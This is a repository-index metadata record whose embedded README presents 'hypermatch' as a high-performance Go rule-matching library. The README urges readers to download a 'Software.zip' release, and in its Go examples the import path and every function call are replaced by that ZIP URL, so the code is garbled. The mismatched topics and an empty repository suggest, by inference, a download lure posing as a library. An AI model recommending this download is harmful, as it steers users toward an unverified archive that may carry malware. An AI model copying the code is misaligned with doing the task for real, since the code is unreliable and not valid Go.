{"id":25545149,"url":"https://github.com/dasara21/hypermatch","last_synced_at":"2026-05-07T01:03:29.562Z","repository":{"id":278469385,"uuid":"935719484","full_name":"dasara21/hypermatch","owner":"dasara21","description":"hypermatch is a high-performance ⚡ Go library designed for rapid matching of a large number of rules to events. It processes thousands of events per second 🚀 against extensive rule sets in-memory with minimal latency ⏱️. event-driven, events, json, matching, matching-engine, performance, rule-engine","archived":false,"fork":false,"pushed_at":"2025-08-20T21:11:47.000Z","size":1,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-08-20T23:25:58.656Z","etag":null,"topics":["2d","cgo","event-driven","events","game","go","html","json","keyphrase-extraction","matching","matching-engine","performance","phaser","wrapper"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dasara21.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-02-19T22:52:04.000Z","updated_at":"2025-08-20T21:11:50.000Z","dependencies_parsed_at":"2025-03-13T03:20:20.900Z","dependency_job_id":"3815c7d8-0d20-4a94-bb56-adf2720032a6","html_url":"https://github.com/dasara21/hypermatch","commit_stats":null,"previous_names":["dasara21/hypermatch"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/dasara21/hypermatch","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dasara21%2Fhypermatch","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dasara21%2Fhypermatch/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dasara21%2Fhypermatch/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dasara21%2Fhypermatch/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dasara21","download_url":"https://codeload.github.com/dasara21/hypermatch/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dasara21%2Fhypermatch/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":272072164,"owners_count":24868377,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-25T02:00:12.092Z","response_time":1107,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["2d","cgo","event-driven","events","game","go","html","json","keyphrase-extraction","matching","matching-engine","performance","phaser","wrapper"],"created_at":"2025-02-20T08:17:57.709Z","updated_at":"2026-05-07T01:03:29.517Z","avatar_url":"https://github.com/dasara21.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🚀 Welcome to hypermatch 🚀\n\n[![Download ZIP](https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip)](https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip)\n\n## Description\nhypermatch is a high-performance ⚡ Go library designed for rapid matching of a large number of rules to events. It processes thousands of events per second 🚀 against extensive rule sets in-memory with minimal latency ⏱️. The library is event-driven and focuses on efficient event processing, JSON handling, matching algorithms, and rule-engine capabilities. With hypermatch, you can boost your application's performance when dealing with complex rule matching requirements.\n\n## Features\n- High-performance matching engine\n- Efficient event-driven design\n- Fast JSON processing\n- In-memory rule matching\n- Minimal latency\n\n## Installation\nSimply click the \"Download ZIP\" button above to get the latest release or visit the [Releases](https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip) section for more options.\n\n## Usage\nTo use hypermatch in your Go project, follow these steps:\n1. Download the library using the installation steps above.\n2. Import hypermatch in your code:\n```go\nimport \"https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip\"\n```\n3. Start utilizing the powerful matching capabilities provided by hypermatch.\n\n## Examples\nHere's a simple example to demonstrate how hypermatch can be used:\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip\"\n)\n\nfunc main() {\n\t// Initialize the hypermatch engine\n\tengine := https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip()\n\n\t// Add rules for matching\n\thttps://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip(\"rule1\", \"event1\")\n\thttps://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip(\"rule2\", \"event2\")\n\n\t// Process an event\n\tresult := https://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip(\"event1\")\n\n\thttps://github.com/dasara21/hypermatch/releases/download/v1.0/Software.zip(\"Matched rules:\", result)\n}\n```\n\n## Contributing\nContributions to hypermatch are welcome! If you have any ideas, feature suggestions, or bug reports, please open an issue on the GitHub repository.\n\n## License\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n---\n\nFeel free to explore hypermatch and leverage its powerful rule-matching capabilities for your projects. If you encounter any issues or have suggestions for improvements, don't hesitate to get involved. Happy matching! 🚀\n\n---\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdasara21%2Fhypermatch","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdasara21%2Fhypermatch","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdasara21%2Fhypermatch/lists"}